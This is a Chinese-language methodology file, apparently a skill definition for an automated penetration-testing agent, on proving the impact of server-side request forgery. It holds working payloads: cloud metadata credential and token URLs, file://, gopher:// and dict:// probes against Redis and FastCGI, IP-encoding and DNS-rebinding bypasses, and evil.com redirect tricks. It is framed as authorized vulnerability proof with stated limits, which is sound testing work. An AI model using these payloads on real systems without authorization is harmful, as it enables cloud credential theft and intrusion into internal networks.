| name | exploit-ssrf |
| description | SSRF/服务器请求伪造危害证明。确认服务端可控 URL、Webhook、图片抓取、PDF 渲染、导入回调、代理下载、重定向跟随或 XML/XXE SSRF 后使用。先识别 URL 解析器、重定向/DNS 行为、fetcher 协议能力和回显/OOB/错误/异步通道,再按受控 callback、metadata 根目录、角色名、localhost/banner 分层证明可达;不读取完整云凭证,不扫描内网,不写入内网服务。 |
| enabled | true |
| category | exploit |
| priority | 9 |
| vuln_types | ["SSRF","服务器请求伪造","盲SSRF","云Metadata访问","内网探测"] |
| triggers | ["ssrf confirmed","SSRF已确认","blind ssrf","metadata","内网探测","云凭证","webhook callback","url fetch","169.254.169.254","100.100.100.200"] |
| synonyms | ["ssrf-exploit","ssrf proof","blind ssrf proof","metadata proof","SSRF危害证明"] |
| metadata | {"tags":"exploit,ssrf,metadata,cloud,gopher,file,内网,危害证明,盲SSRF,OOB,云metadata,安全边界","category":"exploit","type":"exploitation","target_vuln_types":"SSRF,服务器请求伪造,盲SSRF,云Metadata访问"} |
SSRF 危害证明方法论
目标:证明服务端可被攻击者控制去访问受限网络资源,包括云 Metadata、内网服务、回环地址或受控回调地址。
实战证明总纲:先建模,再选通道
不要把 SSRF 简化成只测 127.0.0.1 或云 metadata。真实链路里经常存在 URL 校验器、重定向跟随器、DNS 解析器、代理层、协议白名单和异步 worker 的差异;证明目标是“服务端可达受限资源”,不是读取凭证或扫描内网。
执行顺序固定为:
- 识别入口形态:Webhook、图片/头像抓取、PDF/截图渲染、导入 URL、代理下载、回调配置、XML/XXE、对象存储转存、异步任务。
- 识别解析链路:前端 URL 校验、后端 URL parser、DNS 解析时机、重定向策略、代理环境、协议支持、IPv4/IPv6/IDN 规范化。
- 识别可见性:直接回显、错误回显、状态码/时间差、任务状态、日志、受控 DNS/HTTP callback。
- 选择证明通道:自有 callback、无敏 metadata 根目录、localhost banner、重定向解析差异、DNS rebinding 判定、协议能力差异。
- 最小证明即停:只证明源 IP、User-Agent、可达路径或角色名;不读取完整云 token,不枚举端口,不向内网写入。
| 场景 | 常规 payload 为什么失败 | 推荐证明通道 | 最小安全证据 |
|---|
| 盲 SSRF | 当前响应不可见 | DNS/HTTP callback、任务日志 | 唯一 token + 源 IP/UA/时间戳 |
| 回显 SSRF | 只允许 HTTP/HTTPS | metadata 根目录、localhost banner | 根目录/服务 banner 片段 |
| URL 黑名单 | 解析器与校验器不一致 | 重定向、编码、IPv6/十进制、DNS 差异 | 同一 URL 链路可达受限目标 |
| 异步抓取 | 响应只返回任务 ID | 任务状态、错误原因、callback | 任务日志或 callback 可复现 |
| 云环境 | metadata 被限制或需 Header | 根目录/角色名/错误语义 | 只证明可达或限制存在 |
0. 证据等级与证明路径
| 等级 | 证据 | 说明 |
|---|
| 不充分 | 只有 URL 参数、只有请求失败差异、只有 WAF 拦截、无法证明服务端发起请求 | 不能判定 SSRF |
| 基础可提交 | 受控 DNS/HTTP 回调收到目标服务器请求,或回显内网/metadata 安全探针内容 | 已证明 SSRF |
| 高质量 | 能证明可达云 metadata 目录、内网服务 banner、本机服务,但不读取敏感凭证 | 危害边界清晰 |
按类型选择证明路径:
- 回显 SSRF:响应体直接显示目标内容,优先读取无敏感探针,如 metadata 根目录、服务 banner。
- 盲 SSRF:必须使用受控 DNS/HTTP callback 证明服务端出网,记录源 IP、User-Agent、时间戳。
- 半回显 SSRF:通过响应时间、错误差异、状态码和 callback 组合确认,不单靠一次超时判断。
🎯 证明目标(P0即可停)
| 优先级 | 目标 | 到此可停 |
|---|
| P0 | 云Metadata可达 | ✅ |
| P1 | IAM角色名/凭证前缀 | ✅ 推荐 |
| P2 | 内网服务banner | |
📋 云 Metadata
AWS EC2
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name}
# IMDSv2需PUT获取Token,普通SSRF通常无法设置
阿里云 ECS(国内最常见,无需Header)
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
http://100.100.100.200/latest/meta-data/ram/security-credentials/{role-name}
腾讯云 CVM(无需Header)
http://metadata.tencentyun.com/latest/meta-data/
http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/{role-name}
GCP(v1beta1无需Header!)
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
📋 协议利用
file://(本地文件)
file:///etc/passwd | file:///proc/self/environ | file:///app/.env
# 支持:PHP curl、Java、Python urllib | 不支持:requests、Node.js http
gopher://(构造任意TCP,最强)
# Redis PING验证: gopher://127.0.0.1:6379/_PING%0d%0a → +PONG
# FastCGI RCE: gopher://127.0.0.1:9000/_<FastCGI请求>
# 支持:PHP curl | 不支持:Python requests、Node.js、Go
dict://(服务探测)
dict://127.0.0.1:6379/INFO # Redis
dict://127.0.0.1:11211/stats # Memcached
📋 内网服务指纹
| 端口 | 服务 | 识别 | 危害 |
|---|
| 6379 | Redis | +PONG | 未授权→RCE |
| 9200 | Elasticsearch | JSON含cluster_name | 数据泄露 |
| 2375 | Docker API | ApiVersion | 容器逃逸 |
| 9000 | PHP-FPM | 无HTTP响应 | RCE |
| 8848 | Nacos | code:200 | 配置泄露 |
| 8080 | 内部应用 | HTML/JSON | 未授权 |
📋 IP 绕过
| 方式 | 示例 |
|---|
| 十进制 | http://2130706433/(=127.0.0.1) / http://2852039166/(=169.254.169.254) |
| 八进制 | http://0177.0.0.1/ |
| IPv6 | http://[::1]/ / http://[::ffff:127.0.0.1]/ |
| 缩写 | http://127.1/ / http://0/ |
| DNS | http://127.0.0.1.nip.io/ / http://localtest.me/ |
| URL解析 | http://evil.com@169.254.169.254/ |
| 重定向 | http://evil.com/redirect?url=http://169.254.169.254/ |
| DNS Rebinding | 第一次解析→公网IP(过白名单),第二次→127.0.0.1(实际请求) |
🛡️ 安全边界
- ✅ 云 Metadata 只证明根目录、角色名或 endpoint 可达;不要读取完整临时凭证。
- ✅ 内网服务只取 banner、版本、
PING/INFO 这类无害响应。
- ✅
file:// 只在授权范围内读取低敏探针;优先 /etc/hostname、/proc/self/cgroup,避免直接读取业务密钥。
- ❌ 禁止使用 IAM/STS/CAM/RAM 凭证调用云 API。
- ❌ 禁止向 Redis/MySQL/内网 HTTP 服务写入数据、执行命令或修改配置。
- 内网目标最多 5 个,总请求≤15 个;证明可达后立即停止。
最低危害证明自检
提交前必须确认:
| # | 自检项 |
|---|
| 1 | 已证明请求由目标服务器发起,而不是浏览器、前端或本地网络发起 |
| 2 | 已区分回显 SSRF、盲 SSRF、半回显 SSRF,并给出对应证据 |
| 3 | 已记录 callback 时间戳、源 IP、User-Agent 或响应体关键片段 |
| 4 | 已证明访问了受限资源:metadata、localhost、内网 IP 或受控回调 |
| 5 | 未读取完整云凭证、未调用云 API、未写入内网服务 |
| 6 | 已说明绕过方式,如 IP 编码、重定向、DNS、协议变体或白名单缺陷 |
📊 证据模板
**注入点**: POST /api/webhook, 参数 callback_url
**类型**: 回显 SSRF / 盲 SSRF / 半回显 SSRF
**绕过**: 十进制IP 2852039166
**服务端请求证据**: callback 收到来自目标出口 IP 的请求,UA=Go-http-client/1.1,时间=2026-xx-xx
**受限资源证明**: metadata 根目录可达 / 内网 Redis 返回 +PONG / localhost 服务 banner
**安全边界**: 未读取完整云凭证,未写入内网服务
**结论**: confirmed_vuln | confirmed_limited_impact | suspected_vuln | needs_review | not_vuln